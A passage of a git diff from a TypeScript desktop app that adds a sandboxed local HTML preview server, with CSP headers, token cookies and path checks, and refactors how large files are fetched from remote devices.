+import { sniffMediaMime } from '../cindy-media/sniffMediaMime.js';
+import { createLogger } from '../logger.js';
+import {
+ captureDataOwnerBroadcastScope,
+ isDataOwnerBroadcastScopeCurrent,
+} from '../device-link/broadcast-tap.js';
+import { getDbClient } from '../localDb/client/current.js';
+import { throwIpcError } from '../utils/ipcValidate.js';
+
+const log = createLogger('html-preview');
+export const HTML_PREVIEW_CHANNEL = 'maker:html-preview:open';
+interface RemoteSource {
+ stat(args: HtmlPreviewArgs, root: string, rel: string): Promise<Omit<DirEntry, 'name'>>;
+ read(args: HtmlPreviewArgs, root: string, entry: DirEntry, signal?: AbortSignal): Promise<string>;
+}
+
+const active = new Set<() => Promise<void>>();
+let preparing = 0;
+let shuttingDown = false;
+export async function disposeHtmlPreviews(): Promise<void> {
+ shuttingDown = true;
+ await Promise.allSettled([...active].map((close) => close()));
+}
+export function registerHtmlPreviewIpc(remote: RemoteSource): void {
+ ipcMain.handle(HTML_PREVIEW_CHANNEL, async (event, args: HtmlPreviewArgs) => {
+ assertTrustedAppRendererEvent(event);
+ if (shuttingDown || preparing >= 8)
+ throwIpcError('HTML_PREVIEW_TOO_LARGE', 'Preview capacity exceeded');
+ preparing++;
+ try {
+ previewLocation(args);
+ const scope = captureDataOwnerBroadcastScope();
+ const isCurrent = () => !shuttingDown && isDataOwnerBroadcastScopeCurrent(scope);
+ const db = getDbClient().drizzle;
+ // Finished snapshots are a bounded cache, not concurrent preparation slots.
+ // External browsers cannot report tab closure; evict the oldest snapshot so
+ // sequential opens (or failed browser launches) never block new previews for hours.
+ while (active.size + preparing > 8) {
+ const oldest = active.values().next().value;
+ if (!oldest) break;
+ await oldest();
+ }
+ if (!isCurrent()) throw new Error('PREVIEW_CANCELLED');
+ const preview = await createHtmlPreview(args, {
+ isCurrent,
+ // Log status only: paths, signed URLs and page contents are not diagnostics.
+ onResourceError: (status) => log.warn('Preview resource request failed', { status }),
+ stat: async (root, rel) => {
+ if (args.origin.kind !== 'local') return remote.stat(args, root, rel);
+ const real = await fs.realpath(path.join(root, rel));
+ if (!isPathAllowedAgainst(real, getSensitiveMediaBlocklist()))
+ throw new Error('BAD_ARGS');
+ return statEntry(root, rel);
+ },
+ read: async (root, entry, signal) => {
+ if (args.origin.kind !== 'local') return remote.read(args, root, entry, signal);
+ const source = path.join(root, entry.relPath);
+ const [rootReal, real] = await Promise.all([fs.realpath(root), fs.realpath(source)]);
+ if (
+ !real.startsWith(rootReal + path.sep) ||
+ !isPathAllowedAgainst(real, getSensitiveMediaBlocklist())
+ )
+ throw new Error('BAD_ARGS');
+ return real;
+ },
+ materialize: async (source, dest, expectedSize) => {
+ // The temporary tree is a view of managed media, not another persistent media store.
+ await copyPreviewFile(source, dest, expectedSize);
+ const file = await fs.open(dest, 'r');
+ const probe = Buffer.alloc(8192);
+ let mime: string | null;
+ try {
+ const { bytesRead } = await file.read(probe);
+ mime = sniffMediaMime(probe.subarray(0, bytesRead));
+ } finally {
+ await file.close();
+ }
+ if (!isCurrent()) throw new Error('PREVIEW_CANCELLED');
+ if (mime) {
+ const assertStillValid = () => {
+ if (!isCurrent()) throw new Error('PREVIEW_CANCELLED');
+ };
+ await ingestMedia(
+ {
+ filePath: dest,
+ mimeType: mime,
+ isCache: true,
+ assertStillValid,
+ // The server owns dest, not the managed blob. Cache eviction cannot
+ // interrupt this snapshot, so it needs no persistent business ref.
+ refs: [],
+ },
+ db,
+ );
+ }
+ return dest;
+ },
+ });
+ const close = async () => {
+ clearTimeout(expiry);
+ active.delete(close);
+ await preview.close();
+ };
+ active.add(close);
+ // External browser pages outlive a chat tab; retain snapshots until expiry/app shutdown.
+ const expiry = setTimeout(
+ () => {
+ void close().catch(() => log.warn('Preview cleanup failed'));
+ },
+ 2 * 60 * 60 * 1000,
+ );
+ expiry.unref();
+ return { ok: true as const, url: preview.url };
+ } catch (error) {
+ const message = error instanceof Error ? error.message : '';
+ const code = /PREVIEW_TOO_LARGE|DIRECTORY_TOO_LARGE/.test(message)
+ ? 'HTML_PREVIEW_TOO_LARGE'
+ : /COMPLETE_DIRECTORY_LISTING_UNSUPPORTED|unknown.*(op|method)|METHOD_NOT_FOUND|CHANNEL_NOT_ALLOWED/i.test(
+ message,
+ )
+ ? 'HTML_PREVIEW_UNSUPPORTED'
+ : /NOT_FOUND|ENOENT/.test(message)
+ ? 'NOT_FOUND'
+ : 'BROWSER_FILE_OPEN_FAILED';
+ log.warn('Preview preparation failed', { code });
+ throwIpcError(code, 'Could not prepare HTML preview');
+ } finally {
+ preparing--;
+ }
+ });
+}
diff --git a/apps/desktop/src/main/file-browser/html-preview.ts b/apps/desktop/src/main/file-browser/html-preview.ts
new file mode 100644
index 0000000000..36dab192e7
--- /dev/null
+++ b/apps/desktop/src/main/file-browser/html-preview.ts
@@ -0,0 +1,294 @@
+import { createServer, type Server } from 'node:http';
+import { pipeline } from 'node:stream/promises';
+import { createReadStream, constants } from 'node:fs';
+import fs from 'node:fs/promises';
+import path from 'node:path';
+import os from 'node:os';
+import { randomBytes } from 'node:crypto';
+import { createFileReadQueue } from '@cindy/device-link';
+import { HTML_SNAPSHOT_CSP, withSnapshotHtmlCsp } from '@cindy/maker-shared/file-preview';
+import type { DirEntry } from '@cindy/file-browser-core';
+import { toWorkdirRel } from '../../shared/workdirPath.js';
+
+export interface HtmlPreviewArgs {
+ origin:
+ | { kind: 'local' }
+ | { kind: 'device'; deviceId: string }
+ | { kind: 'ssh'; remoteHostId: string };
+ workdir: string;
+ absPath: string;
+}
+export interface PreviewSource {
+ isCurrent?(): boolean;
+ onResourceError?(status: number): void;
+ stat(root: string, rel: string): Promise<Omit<DirEntry, 'name'>>;
+ read(root: string, entry: DirEntry, signal?: AbortSignal): Promise<string>;
+ /** Media goes through the existing managed store; other files are copied into staging. */
+ materialize(source: string, destination: string, expectedSize: number): Promise<string>;
+}
+
+
+/** Copy a fixed-size ordinary file, refusing growth and symlink substitution. */
+export async function copyPreviewFile(
+ source: string,
+ destination: string,
+ expectedSize: number,
+): Promise<void> {
+ const before = await fs.lstat(source);
+ if (!before.isFile()) throw new Error('PREVIEW_CHANGED');
+ const input = await fs.open(source, constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0));
+ try {
+ const stat = await input.stat();
+ if (
+ !stat.isFile() ||
+ stat.size !== expectedSize ||
+ stat.dev !== before.dev ||
+ stat.ino !== before.ino
+ )
+ throw new Error('PREVIEW_CHANGED');
+ const space = await fs.statfs(path.dirname(destination));
+ if (space.bavail * space.bsize < expectedSize + 256 * 1024 * 1024) throw new Error('PREVIEW_DISK_FULL');
+ const output = await fs.open(destination, 'wx', 0o600);
+ try {
+ const buffer = Buffer.alloc(64 * 1024);
+ let offset = 0;
+ while (offset < expectedSize) {
+ const { bytesRead } = await input.read(
+ buffer,
+ 0,
+ Math.min(buffer.length, expectedSize - offset),
+ offset,
+ );
+ if (!bytesRead) throw new Error('PREVIEW_CHANGED');
+ await output.writeFile(buffer.subarray(0, bytesRead));
+ offset += bytesRead;
+ }
+ const after = await input.stat();
+ if (after.size !== stat.size || after.mtimeMs !== stat.mtimeMs)
+ throw new Error('PREVIEW_CHANGED');
+ } finally {
+ await output.close();
+ }
+ } finally {
+ await input.close();
+ }
+}
+const MIME: Record<string, string> = {
+ '.html': 'text/html',
+ '.htm': 'text/html',
+ '.xhtml': 'application/xhtml+xml',
+ '.css': 'text/css',
+ '.js': 'text/javascript',
+ '.mjs': 'text/javascript',
+ '.json': 'application/json',
+ '.wasm': 'application/wasm',
+ '.svg': 'image/svg+xml',
+ '.png': 'image/png',
+ '.jpg': 'image/jpeg',
+ '.jpeg': 'image/jpeg',
+ '.gif': 'image/gif',
+ '.webp': 'image/webp',
+ '.ico': 'image/x-icon',
+ '.woff': 'font/woff',
+ '.woff2': 'font/woff2',
+ '.ttf': 'font/ttf',
+ '.otf': 'font/otf',
+ '.mp4': 'video/mp4',
+ '.webm': 'video/webm',
+ '.mp3': 'audio/mpeg',
+ '.wav': 'audio/wav',
+ '.txt': 'text/plain',
+ '.pdf': 'application/pdf',
+};
+export function previewLocation(args: HtmlPreviewArgs): { root: string; entry: string } {
+ if (
+ !args ||
+ typeof args.absPath !== 'string' ||
+ typeof args.workdir !== 'string' ||
+ !args.origin ||
+ !['local', 'device', 'ssh'].includes(args.origin.kind)
+ )
+ throw new Error('BAD_ARGS');
+ if (args.origin.kind === 'device' && !args.origin.deviceId) throw new Error('BAD_ARGS');
+ if (args.origin.kind === 'ssh' && !args.origin.remoteHostId) throw new Error('BAD_ARGS');
+ const p = /^[A-Za-z]:[\\/]|^\\\\/.test(args.absPath) ? path.win32 : path.posix;
+ if (
+ !p.isAbsolute(args.absPath) ||
+ !/\.(html?|xhtml)$/i.test(args.absPath) ||
+ args.absPath.includes('\0')
+ ) {
+ throw new Error('BAD_ARGS');
+ }
+ if (args.origin.kind === 'ssh' && !toWorkdirRel(args.workdir, args.absPath))
+ throw new Error('OUTSIDE_WORKDIR');
+ return { root: p.dirname(args.absPath), entry: p.basename(args.absPath) };
+}
+
+/** Fetch only requested resources. A failed resource never invalidates another page. */
+export async function createHtmlPreview(args: HtmlPreviewArgs, source: PreviewSource) {
+ const { root, entry } = previewLocation(args);
+ const staging = await fs.mkdtemp(path.join(os.tmpdir(), 'cindy-html-preview-'));
+ let server: Server | undefined;
+ let closed = false;
+ const controller = new AbortController();
+ const pending = new Set<Promise<void>>();
+ const queue = createFileReadQueue();
+ const materialized = new Map<string, { path: string; size: number }>();
+ const current = () => !closed && source.isCurrent?.() !== false;
+ const close = async () => {
+ closed = true;
+ controller.abort();
+ if (server?.listening) {
+ server.closeAllConnections();
+ await new Promise<void>((resolve) => server!.close(() => resolve()));
+ }
+ // Shared cache fills may finish after cancellation; never delete their destination mid-write.
+ void Promise.allSettled([...pending])
+ .then(() => fs.rm(staging, { recursive: true, force: true }))
+ .catch(() => { /* Temporary storage can be reclaimed by the OS if cleanup fails. */ });
+ };
+ try {
+ const initial = await source.stat(root, entry);
+ if (initial.type !== 'file') throw new Error('NOT_FOUND');
+ const materialize = async (relPath: string, directory: string, signal: AbortSignal) => {
+ if (!current() || signal.aborted) throw new Error('PREVIEW_CANCELLED');
+ const metadata = await source.stat(root, relPath);
+ if (metadata.type !== 'file' || metadata.relPath !== relPath || !Number.isSafeInteger(metadata.size) || metadata.size < 0)
+ throw new Error('NOT_FOUND');
+ const file = { ...metadata, name: relPath.split('/').pop()! };
+ const sourcePath = await source.read(root, file, signal);
+ if (!current() || signal.aborted) throw new Error('PREVIEW_CANCELLED');
+ const stat = await fs.stat(sourcePath);
+ if (!stat.isFile() || stat.size !== file.size) throw new Error('PREVIEW_CHANGED');
+ const dest = path.join(directory, 'asset');
+ const materialized = await source.materialize(sourcePath, dest, file.size);
+ if ((await fs.stat(materialized)).size !== file.size) throw new Error('PREVIEW_CHANGED');
+ // Guard HTML documents, including secondary pages, before publishing the snapshot.
+ // Copy guarded HTML into this snapshot even if materialize returned a shared cache path.
+ // XML documents retain their parser/MIME and use the response CSP, not an HTML prolog.
+ let assetPath = materialized;
+ let assetSize = stat.size;
+ if (/\.html?$/i.test(file.relPath)) {
+ const original = await fs.readFile(materialized);
+ let html: string | undefined;
+ try {
+ html = new TextDecoder('utf-8', { fatal: true }).decode(original);
+ } catch {
+ // Preserve legacy encodings; the response CSP still applies to these documents.
+ }
+ // Do not reinterpret UTF-16 or a document declaring a different encoding as UTF-8.
+ const charsets = html?.matchAll(/charset\s*=\s*["']?\s*([^\s"'/>;]+)/gi);
+ if (
+ html !== undefined &&
+ !html.includes('\0') &&
+ [...(charsets ?? [])].every((match) => /^utf-?8$/i.test(match[1]))
+ ) {
+ const guarded = withSnapshotHtmlCsp(html);
+ await fs.writeFile(dest, guarded, { encoding: 'utf8', mode: 0o600 });
+ assetPath = dest;
+ assetSize = Buffer.byteLength(guarded);
+ }
+ }
+ if (!current() || signal.aborted) throw new Error('PREVIEW_CANCELLED');
+ return { path: assetPath, size: assetSize };
+ };
+ const token = randomBytes(24).toString('hex');
+ const cookieName = `cindy_preview_${token}`;
+ let origin = '';
+ server = createServer((req, res) => {
+ res.setHeader('Content-Security-Policy', HTML_SNAPSHOT_CSP);
+ res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
+ res.setHeader('Cache-Control', 'no-store');
+ res.setHeader('Referrer-Policy', 'same-origin');
+ res.setHeader('X-Content-Type-Options', 'nosniff');
+ const deny = (status: number) => {
+ res.writeHead(status);
+ res.end();
+ };
+ if (!current()) return deny(410);
+ if (req.headers.host !== origin.slice('http://'.length)) return deny(403);
+ if (req.method !== 'GET' && req.method !== 'HEAD') return deny(405);
+ if (
+ (req.headers.origin && req.headers.origin !== origin) ||
+ (req.headers['sec-fetch-site'] &&
+ !['none', 'same-origin'].includes(String(req.headers['sec-fetch-site'])))
+ )
+ return deny(403);
+ let url: URL;
+ try {
+ url = new URL(req.url ?? '/', origin);
+ } catch {
+ return deny(400);
+ }
+ if (url.pathname === `/${token}/`) {
+ res.setHeader('Set-Cookie', `${cookieName}=1; HttpOnly; SameSite=Strict; Path=/`);
+ res.writeHead(302, { Location: '/' + encodeURIComponent(entry) });
+ res.end();
+ return;
+ }
+ if (!(req.headers.cookie ?? '').split(';').some((c) => c.trim() === `${cookieName}=1`))
+ return deny(403);
+ if (req.headers.referer) {
+ try {
+ if (new URL(req.headers.referer).origin !== origin) return deny(403);
+ } catch {
+ return deny(403);
+ }
+ }
+ let pathname: string;
+ try {
+ pathname = decodeURIComponent(url.pathname);
+ } catch {
+ return deny(400);
+ }
+ if (pathname.endsWith('/')) pathname += 'index.html';
+ const relPath = pathname.slice(1);
+ if (!relPath || /[\\:\0\r\n]/.test(relPath) || relPath.split('/').some((part) => !part || part.startsWith('.')))
+ return deny(404);
+ const requestController = new AbortController();
+ res.once('close', () => requestController.abort());
+ const signal = AbortSignal.any([controller.signal, requestController.signal]);
+ const work = queue('preview', async () => {
+ let asset = materialized.get(relPath);
+ if (!asset) {
+ const directory = await fs.mkdtemp(path.join(staging, 'request-'));
+ try {
+ asset = await materialize(relPath, directory, signal);
+ materialized.set(relPath, asset);
+ } catch (error) {
+ await fs.rm(directory, { recursive: true, force: true });
+ throw error;
+ }
+ }
+ if (res.destroyed || !current()) return;
+ res.setHeader('Content-Type', MIME[path.extname(pathname).toLowerCase()] ?? 'application/octet-stream');
+ res.setHeader('Content-Length', asset.size);
+ if (req.method === 'HEAD') { res.end(); return; }
+ await pipeline(createReadStream(asset.path), res);
+ }, signal);
+ pending.add(work);
+ void work.catch((error) => {
+ if (res.destroyed) return;
+ if (res.headersSent) { res.destroy(); return; }
+ const message = error instanceof Error ? error.message : '';
+ const status = /NOT_FOUND|ENOENT/.test(message) ? 404 : /TOO_LARGE/.test(message) ? 413 : 502;
+ source.onResourceError?.(status);
+ deny(status);
+ }).finally(() => pending.delete(work));
+ });
+ await new Promise<void>((resolve, reject) => {
+ server!.once('error', reject);
+ server!.listen(0, '127.0.0.1', () => {
+ server!.off('error', reject);
+ resolve();
+ });
+ });
+ server.unref();
+ origin = `http://127.0.0.1:${(server.address() as { port: number }).port}`;
+ if (source.isCurrent && !source.isCurrent()) throw new Error('PREVIEW_CANCELLED');
+ return { url: `${origin}/${token}/`, close };
+ } catch (error) {
+ await close();
+ throw error;
+ }
+}
diff --git a/apps/desktop/src/main/file-browser/index.ts b/apps/desktop/src/main/file-browser/index.ts
index 822799cd68..1b2b2a0ad0 100644
--- a/apps/desktop/src/main/file-browser/index.ts
+++ b/apps/desktop/src/main/file-browser/index.ts
@@ -1,3 +1,4 @@
+import { readRemoteDeviceFile } from '../device-link/fileAccess';
/**
* registerFileBrowserIpc — main-side handlers for the workdir file-browser.
*
@@ -36,20 +37,34 @@ import {
import { promises as fsPromises } from 'node:fs';
-import { DL_MEDIA_FETCH_CHANNEL, FILE_BROWSER_REMOTE_OP_CHANNEL } from '@cindy/device-link';
+import { FILE_BROWSER_REMOTE_OP_CHANNEL } from '@cindy/device-link';
import { createLogger } from '../logger.js';
import { getRipgrepBinaryPath } from '../maker-host/runtime-configs.js';
import { remoteInvoke } from '../device-link/index.js';
import { downloadToFile, removeRemote } from '../device-link/mediaTransfer.js';
-import { fetchRemoteFileToCache, findStaleCached, isInsideCacheDir, putCachedContent, sweepCacheOnStartup } from './remote-file-cache.js';
-import { fetchChatFile, statChatFile, type ChatFileDeps, type ChatFileFetchArgs } from './chat-file.js';
+import {
+ fetchRemoteFileToCache,
+ findStaleCached,
+ isInsideCacheDir,
+ putCachedContent,
+ sweepCacheOnStartup,
+} from './remote-file-cache.js';
+import {
+ fetchChatFile,
+ statChatFile,
+ type ChatFileDeps,
+ type ChatFileFetchArgs,
+ buildDevicePathUrl,
+} from './chat-file.js';
import { isTransientDeviceExportStatusError } from './device-export-status-error.js';
import { makeSshChunkExecutor } from './ssh-media.js';
import { getRemoteFileBrowser } from './remote-deps.js';
import { getRemoteWatchRegistry } from './remote-watch.js';
import { throwRemoteFsIpcError } from './remote.js';
import { watcherManager, type FileTreeEvent } from './watcher.js';
+import { registerHtmlPreviewIpc } from './html-preview-ipc.js';
+import { toWorkdirRel } from '../../shared/workdirPath.js';
const log = createLogger('file-browser/ipc');
@@ -97,6 +112,8 @@ interface RemoteRoutedArgs {
}
interface ListDirArgs extends RemoteRoutedArgs {
+ /** Bypass presentation filters; does not bypass filesystem access checks. */
+ includeIgnored?: boolean;
workdir: string;
/** workdir-relative POSIX path; '' for root */
relPath?: string;
@@ -165,6 +182,7 @@ async function fetchRemoteBigFile(
deviceId?: string | null;
},
onProgress: (received: number, total: number, phase?: 'upload' | 'download') => void,
+ signal?: AbortSignal,
): Promise<string> {
if (!args.workdir || !args.relPath || !Number.isFinite(args.size)) {
throw new Error('bad fetch-remote args');
@@ -180,68 +198,123 @@ async function fetchRemoteBigFile(
size: args.size,
mtimeMs: args.mtimeMs,
},
- async (destPath, progress) => {
- // 两段式:Start 立即回 transferId(上传在被控端后台跑,2GB 分钟级,
- // 单次 invoke 的 30s 超时罩不住),轮询 Status 到终态再下载。
- progress(0, args.size);
- const start = await deviceOpInvoke<{ ok: boolean; transferId?: string; message?: string }>(
+ async (destPath, progress, transferSignal) => {
+ const source = args.workdir.replace(/[\\/]$/, '') + '/' + args.relPath;
+ const fetched = await readRemoteDeviceFile(
deviceId,
- { op: 'exportFileStart', workdir: args.workdir, relPath: args.relPath },
+ buildDevicePathUrl(source) +
+ '&baseDir=' +
+ encodeURIComponent(args.workdir) +
+ '&maxBytes=' +
+ Math.max(1, args.size),
+ remoteInvoke,
+ {
+ // Cache fills are shared: closing one preview must not cancel another consumer.
+ workdir: args.workdir,
+ relPath: args.relPath,
+ maxBytes: Math.max(1, args.size),
+ fallback: async () => {
+ // 两段式:Start 立即回 transferId(上传在被控端后台跑,2GB 分钟级,
+ // 单次 invoke 的 30s 超时罩不住),轮询 Status 到终态再下载。
+ progress(0, args.size);
+ const start = await deviceOpInvoke<{
+ ok: boolean;
+ transferId?: string;
+ message?: string;
+ }>(deviceId, {
+ op: 'exportFileStart',
+ workdir: args.workdir,
+ relPath: args.relPath,
+ maxBytes: Math.max(1, args.size),
+ });
+ if (!start?.ok || !start.transferId) {
+ throw new Error(start?.message ?? 'exportFileStart failed on remote device');
+ }
+ const deadline = Date.now() + 30 * 60_000;
+ let key: string | null = null;
+ // relay 瞬断容忍:被控端的上传不依赖 relay(直连 OSS),断的只是"问进度"
+ // 这条线。瞬态错误(断链/超时/重连中)继续轮询,连续 20 次(约 40s)才
+ // 放弃——双实例测试环境的 relay 抢占和生产网络抖动都盖得住。
+ let transientFails = 0;
+ for (;;) {
+ await new Promise((r) => setTimeout(r, 1500));
+ if (transferSignal?.aborted) throw new Error('FILE_PEER_CANCELLED');
+ if (Date.now() > deadline) throw new Error('remote upload timed out (30min)');
+ let st: {
+ ok: boolean;
+ state?: string;
+ key?: string;
+ message?: string;
+ uploaded?: number;
+ };
+ try {
+ st = await deviceOpInvoke<{
+ ok: boolean;
+ state?: string;
+ key?: string;
+ message?: string;
+ uploaded?: number;
+ }>(deviceId, {
+ op: 'exportFileStatus',
+ workdir: args.workdir,
+ transferId: start.transferId,
+ });
+ transientFails = 0;
+ } catch (err) {
+ const msg = String(err);
+ if (isTransientDeviceExportStatusError(err) && ++transientFails <= 20) {
+ log.debug('exportFileStatus transient failure, retrying', {
+ fails: transientFails,
+ msg,
+ });
+ continue;
+ }
+ throw err;
+ }
+ if (!st?.ok) throw new Error(st?.message ?? 'exportFileStatus failed');
+ if (st.state === 'error') throw new Error(st.message ?? 'remote upload failed');
+ if (st.state === 'done' && st.key) {
+ key = st.key;
+ break;
+ }
+ // 上传阶段:被控端回报真实已上传字节(phase=upload,renderer 分相显示)。
+ progress(Math.min(st.uploaded ?? 0, args.size), args.size, 'upload');
+ }
+ return { ossKey: key, size: args.size, mimeType: 'application/octet-stream' };
+ },
+ signal: transferSignal,
+ },
);
- if (!start?.ok || !start.transferId) {
- throw new Error(start?.message ?? 'exportFileStart failed on remote device');
- }
- const deadline = Date.now() + 30 * 60_000;
- let key: string | null = null;
- // relay 瞬断容忍:被控端的上传不依赖 relay(直连 OSS),断的只是"问进度"
- // 这条线。瞬态错误(断链/超时/重连中)继续轮询,连续 20 次(约 40s)才
- // 放弃——双实例测试环境的 relay 抢占和生产网络抖动都盖得住。
- let transientFails = 0;
- for (;;) {
- await new Promise((r) => setTimeout(r, 1500));
- if (Date.now() > deadline) throw new Error('remote upload timed out (30min)');
- let st: { ok: boolean; state?: string; key?: string; message?: string; uploaded?: number };
+ if ('path' in fetched) {
try {
- st = await deviceOpInvoke<{
- ok: boolean;
- state?: string;
- key?: string;
- message?: string;
- uploaded?: number;
- }>(
- deviceId,
- { op: 'exportFileStatus', workdir: args.workdir, transferId: start.transferId },
- );
- transientFails = 0;
- } catch (err) {
- const msg = String(err);
- if (isTransientDeviceExportStatusError(err) && ++transientFails <= 20) {
- log.debug('exportFileStatus transient failure, retrying', { fails: transientFails, msg });
- continue;
- }
- throw err;
+ if (fetched.size !== args.size) throw new Error('REMOTE_FILE_CHANGED');
+ await fsPromises.copyFile(fetched.path, destPath);
+ progress(args.size, args.size, 'download');
+ return;
+ } finally {
+ await fetched.dispose();
}
- if (!st?.ok) throw new Error(st?.message ?? 'exportFileStatus failed');
- if (st.state === 'error') throw new Error(st.message ?? 'remote upload failed');
- if (st.state === 'done' && st.key) {
- key = st.key;
- break;
- }
- // 上传阶段:被控端回报真实已上传字节(phase=upload,renderer 分相显示)。
- progress(Math.min(st.uploaded ?? 0, args.size), args.size, 'upload');
}
- const res = { key };
+ if (fetched.inlineBase64 !== undefined) {
+ const bytes = Buffer.from(fetched.inlineBase64, 'base64');
+ if (bytes.length !== args.size) throw new Error('REMOTE_FILE_CHANGED');
+ await fsPromises.writeFile(destPath, bytes);
+ progress(args.size, args.size, 'download');
+ return;
+ }
+ const res = { key: fetched.ossKey };
// …再流式直下到随机 part 文件,并由字节计数回调持续上报下载进度。
try {
await downloadToFile(res.key, destPath, undefined, (downloaded) => {
progress(Math.min(downloaded, args.size), args.size, 'download');
- });
+ }, transferSignal);
progress(args.size, args.size, 'download');
} finally {
void removeRemote(res.key);
}
},
onProgress,
+ signal,
);
}
if (args.remoteHostId) {
@@ -264,6 +337,7 @@ async function fetchRemoteBigFile(
args.relPath,
),
onProgress,
+ signal,
);
}
throw new Error('fetch-remote requires remoteHostId or deviceId');
@@ -278,6 +352,38 @@ export function registerFileBrowserIpc(): void {
// file-browser-core 是宿主无关的共享包(也跑在远端 file-service daemon 里),
// 日志设施由宿主注入——desktop 侧接统一 logger(规则 12),scope 与抽包前一致。
setFileBrowserCoreLoggerFactory(createLogger);
+ registerHtmlPreviewIpc({
+ stat: async (args, root, relPath) => {
+ if (args.origin.kind === 'device') {
+ return deviceOpInvoke<import('@cindy/file-browser-core').FileStat>(args.origin.deviceId, {
+ op: 'stat', workdir: root, relPath,
+ });
+ }
+ if (args.origin.kind !== 'ssh') throw new Error('BAD_ARGS');
+ await getRemoteFileBrowser().request(args.origin.remoteHostId, 'stat', {
+ workdir: args.workdir,
+ relPath: toWorkdirRel(args.workdir, args.absPath)!,
+ });
+ return getRemoteFileBrowser().request(args.origin.remoteHostId, 'stat', { workdir: root, relPath });
+ },
+ read: async (args, root, entry, signal) => {
+ if (signal?.aborted) throw new Error('PREVIEW_CANCELLED');
+ const result = await fetchRemoteBigFile(
+ {
+ workdir: root,
+ relPath: entry.relPath,
+ size: entry.size,
+ mtimeMs: entry.mtimeMs,
+ deviceId: args.origin.kind === 'device' ? args.origin.deviceId : undefined,
+ remoteHostId: args.origin.kind === 'ssh' ? args.origin.remoteHostId : undefined,
+ },
+ () => {},
+ signal,
+ );
+ if (signal?.aborted) throw new Error('PREVIEW_CANCELLED');
+ return result;
+ },
+ });
// 缓存启动清扫(残留 .part + 超容量 LRU),异步不阻塞注册。
void sweepCacheOnStartup();
@@ -319,6 +425,8 @@ export function registerFileBrowserIpc(): void {
const cachePath = await fetchRemoteBigFile(args, onProgress);
return { ok: true as const, cachePath, stale: false };
} catch (err) {
+ if (String(err).includes('FILE_PEER_CANCELLED'))
+ return { ok: false as const, message: String(err) };
// 断线兜底:取回失败但本地有该路径的历史副本 → 降级展示(可能非最新)。
const transport = args.deviceId ? ('device' as const) : ('ssh' as const);
const endpointId = args.deviceId ?? args.remoteHostId ?? '';
@@ -358,11 +466,7 @@ export function registerFileBrowserIpc(): void {
}),
fetchBigFile: fetchRemoteBigFile,
deviceMediaFetch: async (deviceId, url) => {
- const res = await remoteInvoke(deviceId, DL_MEDIA_FETCH_CHANNEL, [{ url }]);
- if (!res.ok) {
- throw new Error(`media:fetch ${res.error?.code ?? 'FAIL'}: ${res.error?.message ?? ''}`);
- }
- return res.result as { ossKey: string; size: number };
+ return readRemoteDeviceFile(deviceId, url, remoteInvoke);
},
downloadToFile,
removeRemote: (key) => void removeRemote(key),
@@ -388,7 +492,11 @@ export function registerFileBrowserIpc(): void {
};
const result = await fetchChatFile(args, onProgress, chatFileDeps);
if (!result.ok) {
- log.warn('chat-file fetch failed', { code: result.code, absPath: args?.absPath, message: result.message });
+ log.warn('chat-file fetch failed', {
+ code: result.code,
+ absPath: args?.absPath,
+ message: result.message,
+ });
}
return result;
});
@@ -440,70 +548,68 @@ export function registerFileBrowserIpc(): void {
);
// 读缓存副本内容(cached 态的应用内文本预览)。路径必须在缓存目录内。
- ipcMain.handle(
- FILE_BROWSER_INVOKE.READ_CACHED,
- async (_event, args: { cachePath: string }) => {
- if (!args?.cachePath || !isInsideCacheDir(args.cachePath)) {
- return { ok: false as const, message: 'path outside cache dir' };
- }
+ ipcMain.handle(FILE_BROWSER_INVOKE.READ_CACHED, async (_event, args: { cachePath: string }) => {
+ if (!args?.cachePath || !isInsideCacheDir(args.cachePath)) {
+ return { ok: false as const, message: 'path outside cache dir' };
+ }
+ try {
+ const st = await fsPromises.stat(args.cachePath);
+ const CAP = 32 * 1024 * 1024;
+ const handle = await fsPromises.open(args.cachePath, 'r');
try {
- const st = await fsPromises.stat(args.cachePath);
- const CAP = 32 * 1024 * 1024;
- const handle = await fsPromises.open(args.cachePath, 'r');
- try {
- const buf = Buffer.alloc(Math.min(st.size, CAP));
- // fs.read 可能短读,循环读满(同 file-browser-core readFileChunk 教训:
- // 单次 read 短读会让尾部残留 0x00,这里还会被误判成二进制)。
- let filled = 0;
- while (filled < buf.length) {
- const { bytesRead } = await handle.read(buf, filled, buf.length - filled, filled);
- if (bytesRead === 0) break;
- filled += bytesRead;
- }
- if (buf.subarray(0, Math.min(filled, 4096)).includes(0)) {
- return { ok: true as const, kind: 'binary' as const };
- }
- return {
- ok: true as const,
- kind: 'text' as const,
- content: buf.subarray(0, filled).toString('utf8'),
- truncated: st.size > CAP,
- };
- } finally {
- await handle.close();
+ const buf = Buffer.alloc(Math.min(st.size, CAP));
+ // fs.read 可能短读,循环读满(同 file-browser-core readFileChunk 教训:
+ // 单次 read 短读会让尾部残留 0x00,这里还会被误判成二进制)。
+ let filled = 0;
+ while (filled < buf.length) {
+ const { bytesRead } = await handle.read(buf, filled, buf.length - filled, filled);
+ if (bytesRead === 0) break;
+ filled += bytesRead;
}
- } catch (err) {
- return { ok: false as const, message: String(err) };
+ if (buf.subarray(0, Math.min(filled, 4096)).includes(0)) {
+ return { ok: true as const, kind: 'binary' as const };
+ }
+ return {
+ ok: true as const,
+ kind: 'text' as const,
+ content: buf.subarray(0, filled).toString('utf8'),
+ truncated: st.size > CAP,
+ };
+ } finally {
+ await handle.close();
}
- },
- );
+ } catch (err) {
+ return { ok: false as const, message: String(err) };
+ }
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.LIST_DIR,
- async (_event, args: ListDirArgs) => {
- if (args.remoteHostId) {
- try {
- const { entries } = await getRemoteFileBrowser().request(args.remoteHostId, 'listDir', {
- workdir: args.workdir,
- relPath: args.relPath ?? '',
+ ipcMain.handle(FILE_BROWSER_INVOKE.LIST_DIR, async (_event, args: ListDirArgs) => {
+ if (args.remoteHostId) {
+ try {
+ const { entries } = await getRemoteFileBrowser().request(args.remoteHostId, 'listDir', {
+ workdir: args.workdir,
+ relPath: args.relPath ?? '',
+ hideMetaFiles: args.hideMetaFiles ?? true,
+ docMode: args.docMode,
+ includeIgnored: args.includeIgnored,
+ });
+ return entries;
+ } catch (err) {
+ log.warn('remote list-dir failed', { hostId: args.remoteHostId, error: String(err) });
+ throwRemoteFsIpcError(err);
+ }
+ }
+ const matcher =
+ args.includeIgnored === true
+ ? null
+ : await loadIgnoreMatcher(args.workdir, {
hideMetaFiles: args.hideMetaFiles ?? true,
- docMode: args.docMode,
